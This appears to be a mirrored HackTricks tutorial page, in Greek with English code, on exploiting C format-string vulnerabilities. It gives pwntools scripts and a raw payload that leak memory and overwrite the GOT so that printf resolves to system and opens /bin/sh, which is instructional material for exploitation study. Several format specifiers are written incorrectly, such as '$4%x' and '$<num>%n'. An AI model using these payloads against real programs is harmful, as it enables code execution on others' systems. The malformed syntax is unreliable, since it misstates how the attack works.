mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
247 lines
16 KiB
Markdown
247 lines
16 KiB
Markdown
# Format Strings
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Basic Information
|
||
|
||
Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που περιμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο.
|
||
|
||
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
|
||
|
||
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έχοντας έτσι τη δυνατότητα να **εκτελέσει αυθαίρετο κώδικα**.
|
||
|
||
#### Formatters:
|
||
```bash
|
||
%08x —> 8 hex bytes
|
||
%d —> Entire
|
||
%u —> Unsigned
|
||
%s —> String
|
||
%p —> Pointer
|
||
%n —> Number of written bytes
|
||
%hn —> Occupies 2 bytes instead of 4
|
||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||
```
|
||
**Παραδείγματα:**
|
||
|
||
* Ευάλωτο παράδειγμα:
|
||
```c
|
||
char buffer[30];
|
||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||
```
|
||
* Κανονική Χρήση:
|
||
```c
|
||
int value = 1205;
|
||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||
```
|
||
* Με Ελλείποντες Παραμέτρους:
|
||
```c
|
||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||
```
|
||
* fprintf ευάλωτο:
|
||
```c
|
||
#include <stdio.h>
|
||
|
||
int main(int argc, char *argv[]) {
|
||
char *user_input;
|
||
user_input = argv[1];
|
||
FILE *output_file = fopen("output.txt", "w");
|
||
fprintf(output_file, user_input); // The user input cna include formatters!
|
||
fclose(output_file);
|
||
return 0;
|
||
}
|
||
```
|
||
### **Πρόσβαση σε Δείκτες**
|
||
|
||
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
|
||
```c
|
||
printf("%x %x %x %x")
|
||
```
|
||
και θα διαβάζατε από την πρώτη έως την τέταρτη παράμετρο.
|
||
|
||
Ή θα μπορούσατε να κάνετε:
|
||
```c
|
||
printf("$4%x")
|
||
```
|
||
και να διαβάσει απευθείας το τέταρτο.
|
||
|
||
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `pr`**`intf`**, που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν κληθεί το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
|
||
|
||
{% hint style="danger" %}
|
||
Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά.
|
||
{% endhint %}
|
||
|
||
## **Αυθαίρετη Ανάγνωση**
|
||
|
||
Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process('./bin')
|
||
|
||
payload = b'%6$s' #4th param
|
||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||
payload += p32(0x8048000) #6th param
|
||
|
||
p.sendline(payload)
|
||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||
```
|
||
{% hint style="danger" %}
|
||
Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
|
||
{% endhint %}
|
||
|
||
### Βρείτε την απόσταση
|
||
|
||
Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
|
||
|
||
<details>
|
||
|
||
<summary>Brute Force printf offset</summary>
|
||
```python
|
||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||
|
||
from pwn import *
|
||
|
||
# Iterate over a range of integers
|
||
for i in range(10):
|
||
# Construct a payload that includes the current integer as offset
|
||
payload = f"AAAA%{i}$x".encode()
|
||
|
||
# Start a new process of the "chall" binary
|
||
p = process("./chall")
|
||
|
||
# Send the payload to the process
|
||
p.sendline(payload)
|
||
|
||
# Read and store the output of the process
|
||
output = p.clean()
|
||
|
||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||
if b"41414141" in output:
|
||
# If the string is found, log the success message and break out of the loop
|
||
log.success(f"User input is at offset : {i}")
|
||
break
|
||
|
||
# Close the process
|
||
p.close()
|
||
```
|
||
</details>
|
||
|
||
### Πόσο χρήσιμο
|
||
|
||
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
|
||
|
||
* **Dump** το **binary** από τη μνήμη
|
||
* **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||
|
||
## **Αυθαίρετη Εγγραφή**
|
||
|
||
Ο μορφοποιητής **`$<num>%n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`$<num>%n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
|
||
|
||
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
|
||
```bash
|
||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||
AAAA.%500\$08x —> Param at offset 500
|
||
```
|
||
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
|
||
|
||
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
|
||
|
||
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
|
||
|
||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||
{% endcontent-ref %}
|
||
|
||
Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία `system`**.\
|
||
Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
|
||
|
||
* **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
|
||
* **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
|
||
|
||
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γράψετε πρώτα το μικρότερο** από \[HOB, LOB] και μετά το άλλο.
|
||
|
||
Αν HOB < LOB\
|
||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||
|
||
Αν HOB > LOB\
|
||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||
|
||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||
```
|
||
{% endcode %}
|
||
|
||
### Pwntools Template
|
||
|
||
Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
|
||
|
||
{% content-ref url="format-strings-template.md" %}
|
||
[format-strings-template.md](format-strings-template.md)
|
||
{% endcontent-ref %}
|
||
|
||
Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./got_overwrite-32')
|
||
libc = elf.libc
|
||
libc.address = 0xf7dc2000 # ASLR disabled
|
||
|
||
p = process()
|
||
|
||
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
||
p.sendline(payload)
|
||
|
||
p.clean()
|
||
|
||
p.sendline('/bin/sh')
|
||
|
||
p.interactive()
|
||
```
|
||
## Format Strings to BOF
|
||
|
||
Είναι δυνατόν να καταχραστούμε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψουμε σε διευθύνσεις της στοίβας** και να εκμεταλλευτούμε μια ευπάθεια τύπου **buffer overflow**.
|
||
|
||
## Other Examples & References
|
||
|
||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||
* 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης)
|
||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη λειτουργία win (ret2win)
|
||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|